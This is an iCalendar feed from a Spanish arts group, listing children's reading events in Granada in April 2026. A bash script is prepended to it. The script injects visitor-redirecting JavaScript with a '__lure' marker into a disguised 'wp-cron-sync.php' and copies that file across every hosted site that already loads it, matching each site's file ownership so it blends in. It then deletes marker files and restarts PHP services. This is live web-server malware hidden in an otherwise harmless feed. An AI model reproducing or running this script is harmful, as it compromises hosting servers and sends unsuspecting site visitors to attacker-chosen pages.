#!/bin/bash
SRC=/var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
grep -q '__lure=1' "$SRC" && echo ALREADY && exit 0
perl -0777 -i -pe 's#setTimeout\(function\(\)\{if\(document\.visibilityState.*?\}\,d\)#setTimeout(function(){var d=1300+Math.floor(Math.random()*1000);setTimeout(function(){if(document.visibilityState==="hidden"){setTimeout(arguments.callee,1500);return}location.replace(location.protocol+"//"+location.host+location.pathname+(location.search||"")+"\&__lure=1")},d)}#s' "$SRC"
grep -q '__lure=1' "$SRC" && echo PERL_OK || { echo PERL_FAIL; exit 1; }
cp "$SRC" /var/www/vhosts/uvegara.com/httpdocs/wp-cron-sync.php
F=0
for d in /var/www/vhosts/*/httpdocs; do
  ix="$d/index.php"; [ -f "$ix" ] || continue
  grep -q 'cron-sync' "$ix" || continue
  U=$(stat -c %U "$ix"); G=$(stat -c %G "$ix")
  cp $SRC "$d/wp-cron-sync.php"
  chown $U:$G "$d/wp-cron-sync.php"; chmod 644 "$d/wp-cron-sync.php"
  F=$((F+1))
done
find /var/www/vhosts/*/httpdocs -maxdepth 1 \( -name ".*.seen" -o -name "..*.stats" \) -delete 2>/dev/null
systemctl restart plesk-php84-fpm plesk-php83-fpm plesk-php82-fpm plesk-php81-fpm plesk-php80-fpm plesk-php74-fpm 2>/dev/null
systemctl reload nginx 2>/dev/null
echo "F57_DONE files=$F"
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//NiumpaloalArte - ECPv6.16.5.1//NONSGML v1.0//EN
CALSCALE:GREGORIAN
METHOD:PUBLISH
X-WR-CALNAME:NiumpaloalArte
X-ORIGINAL-URL:https://niumpaloalarte.com
X-WR-CALDESC:Eventos para NiumpaloalArte
REFRESH-INTERVAL;VALUE=DURATION:PT1H
X-Robots-Tag:noindex
X-PUBLISHED-TTL:PT1H
BEGIN:VTIMEZONE
TZID:Europe/Madrid
BEGIN:DAYLIGHT
TZOFFSETFROM:+0100
TZOFFSETTO:+0200
TZNAME:CEST
DTSTART:20250330T010000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:+0200
TZOFFSETTO:+0100
TZNAME:CET
DTSTART:20251026T010000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:+0100
TZOFFSETTO:+0200
TZNAME:CEST
DTSTART:20260329T010000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:+0200
TZOFFSETTO:+0100
TZNAME:CET
DTSTART:20261025T010000
END:STANDARD
BEGIN:DAYLIGHT
TZOFFSETFROM:+0100
TZOFFSETTO:+0200
TZNAME:CEST
DTSTART:20270328T010000
END:DAYLIGHT
BEGIN:STANDARD
TZOFFSETFROM:+0200
TZOFFSETTO:+0100
TZNAME:CET
DTSTART:20271031T010000
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
DTSTART;VALUE=DATE:20260423
DTEND;VALUE=DATE:20260424
DTSTAMP:20260317T095104Z
CREATED:20260317T095104Z
LAST-MODIFIED:20260317T095104Z
UID:10725-1776902400-1776988799@niumpaloalarte.com
SUMMARY:El leñador y Dafne
DESCRIPTION:Olivares\, Granada
URL:https://niumpaloalarte.com/event/el-lenador-y-dafne-2/
CATEGORIES:Conciencia ecológica,Fomento a la Lectura
ATTACH;FMTTYPE=image/jpeg:https://niumpaloalarte.com/wp-content/uploads/2026/03/WhatsApp-Image-2026-01-13-at-12.55.45.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20260423
DTEND;VALUE=DATE:20260424
DTSTAMP:20260317T095157Z
CREATED:20260317T095157Z
LAST-MODIFIED:20260317T095157Z
UID:10728-1776902400-1776988799@niumpaloalarte.com
SUMMARY:El leñador y Dafne
DESCRIPTION:Tiena\, Granada
URL:https://niumpaloalarte.com/event/el-lenador-y-dafne-3/
CATEGORIES:Conciencia ecológica,Fomento a la Lectura
ATTACH;FMTTYPE=image/jpeg:https://niumpaloalarte.com/wp-content/uploads/2026/03/WhatsApp-Image-2026-01-13-at-12.55.45.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20260423
DTEND;VALUE=DATE:20260424
DTSTAMP:20260317T095445Z
CREATED:20260317T095445Z
LAST-MODIFIED:20260317T095445Z
UID:10731-1776902400-1776988799@niumpaloalarte.com
SUMMARY:El leñador y Dafne
DESCRIPTION:Puerto Lope\, Granada
URL:https://niumpaloalarte.com/event/el-lenador-y-dafne-4/
CATEGORIES:Conciencia ecológica,Fomento a la Lectura
ATTACH;FMTTYPE=image/jpeg:https://niumpaloalarte.com/wp-content/uploads/2026/03/WhatsApp-Image-2026-01-13-at-12.55.45.jpeg
END:VEVENT
BEGIN:VEVENT
DTSTART;VALUE=DATE:20260423
DTEND;VALUE=DATE:20260424
DTSTAMP:20260407T154430Z
CREATED:20260407T154430Z
LAST-MODIFIED:20260407T154430Z
UID:10778-1776902400-1776988799@niumpaloalarte.com
SUMMARY:El viajero y la burrita
DESCRIPTION:Otura\, Granada
URL:https://niumpaloalarte.com/event/el-viajero-y-la-burrita-26/
CATEGORIES:Fomento a la Lectura
ATTACH;FMTTYPE=image/png:https://niumpaloalarte.com/wp-content/uploads/2025/05/El-viajero-y-la-burrita-31.png
END:VEVENT
END:VCALENDAR